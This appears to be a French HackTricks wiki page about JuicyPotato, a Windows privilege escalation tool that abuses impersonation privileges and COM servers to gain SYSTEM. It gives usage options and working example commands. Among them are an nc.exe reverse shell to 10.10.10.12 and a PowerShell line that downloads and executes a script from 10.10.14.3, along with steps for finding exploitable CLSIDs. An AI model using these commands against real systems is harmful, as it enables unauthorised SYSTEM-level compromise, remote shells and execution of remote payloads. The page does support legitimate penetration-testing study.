JuicyPotato

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

JuicyPotato ne fonctionne pas sur Windows Server 2019 et Windows 10 à partir de la version 1809. Cependant, PrintSpoofer, RoguePotato, SharpEfsPotato peuvent être utilisés pour exploiter les mêmes privilèges et obtenir l'accès au niveau NT AUTHORITY\SYSTEM. Vérifiez :

Juicy Potato (abus des privilèges dorés)

Une version sucrée de RottenPotatoNG, avec un peu de jus, c'est-à-dire un autre outil d'élévation de privilèges locaux, des comptes de service Windows à NT AUTHORITY\SYSTEM

Vous pouvez télécharger juicypotato depuis https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts

Résumé

À partir de la documentation de juicy-potato:

RottenPotatoNG et ses variantes exploitent la chaîne d'élévation de privilèges basée sur le service BITS service ayant l'écouteur MiTM sur 127.0.0.1:6666 et lorsque vous avez les privilèges SeImpersonate ou SeAssignPrimaryToken. Lors d'une revue de construction Windows, nous avons trouvé une configuration où BITS était intentionnellement désactivé et le port 6666 était utilisé.

Nous avons décidé de rendre RottenPotatoNG opérationnel : Dites bonjour à Juicy Potato.

Pour la théorie, voir Rotten Potato - Élévation de privilèges des comptes de service à SYSTEM et suivez la chaîne de liens et de références.

Nous avons découvert qu'en dehors de BITS, il existe plusieurs serveurs COM que nous pouvons exploiter. Ils doivent simplement :

  1. être instanciables par l'utilisateur actuel, normalement un "utilisateur de service" qui a des privilèges d'impersonation

  2. implémenter l'interface IMarshal

  3. s'exécuter en tant qu'utilisateur élevé (SYSTEM, Administrateur, ...)

Après quelques tests, nous avons obtenu et testé une liste étendue de CLSID intéressants sur plusieurs versions de Windows.

Détails juteux

JuicyPotato vous permet de :

  • Cibler CLSID choisissez n'importe quel CLSID que vous voulez. Ici vous pouvez trouver la liste organisée par OS.

  • Port d'écoute COM définissez le port d'écoute COM que vous préférez (au lieu du 6666 codé en dur)

  • Adresse IP d'écoute COM liez le serveur sur n'importe quelle IP

  • Mode de création de processus en fonction des privilèges de l'utilisateur impersonné, vous pouvez choisir parmi :

  • CreateProcessWithToken (nécessite SeImpersonate)

  • CreateProcessAsUser (nécessite SeAssignPrimaryToken)

  • les deux

  • Processus à lancer lancer un exécutable ou un script si l'exploitation réussit

  • Argument du processus personnalisez les arguments du processus lancé

  • Adresse du serveur RPC pour une approche furtive, vous pouvez vous authentifier auprès d'un serveur RPC externe

  • Port du serveur RPC utile si vous voulez vous authentifier auprès d'un serveur externe et que le pare-feu bloque le port 135...

  • Mode TEST principalement à des fins de test, c'est-à-dire tester les CLSID. Il crée le DCOM et affiche l'utilisateur du jeton. Voir ici pour les tests

Utilisation

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Réflexions finales

À partir de la documentation de juicy-potato:

Si l'utilisateur a les privilèges SeImpersonate ou SeAssignPrimaryToken, alors vous êtes SYSTEM.

Il est presque impossible d'empêcher l'abus de tous ces serveurs COM. Vous pourriez envisager de modifier les autorisations de ces objets via DCOMCNFG, mais bonne chance, cela va être difficile.

La solution réelle consiste à protéger les comptes sensibles et les applications qui s'exécutent sous les comptes * SERVICE. Arrêter DCOM inhiberait certainement cette exploitation mais pourrait avoir un impact sérieux sur le système d'exploitation sous-jacent.

De : http://ohpe.it/juicy-potato/

Exemples

Note : Visitez cette page pour une liste de CLSID à essayer.

Obtenir un shell inversé avec nc.exe

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Inversion de commandes Powershell

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Lancer une nouvelle CMD (si vous avez accès RDP)

Problèmes de CLSID

Souvent, le CLSID par défaut utilisé par JuicyPotato ne fonctionne pas et l'exploit échoue. Habituellement, il faut plusieurs tentatives pour trouver un CLSID fonctionnel. Pour obtenir une liste de CLSID à essayer pour un système d'exploitation spécifique, vous devriez visiter cette page :

Vérification des CLSID

Tout d'abord, vous aurez besoin de certains exécutables en plus de juicypotato.exe.

Téléchargez Join-Object.ps1 et chargez-le dans votre session PS, puis téléchargez et exécutez GetCLSID.ps1. Ce script créera une liste de CLSID possibles à tester.

Ensuite, téléchargez test_clsid.bat (modifiez le chemin vers la liste des CLSID et vers l'exécutable juicypotato) et exécutez-le. Il commencera à essayer chaque CLSID, et lorsque le numéro de port change, cela signifiera que le CLSID a fonctionné.

Vérifiez les CLSID fonctionnels en utilisant le paramètre -c

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Dernière mise à jour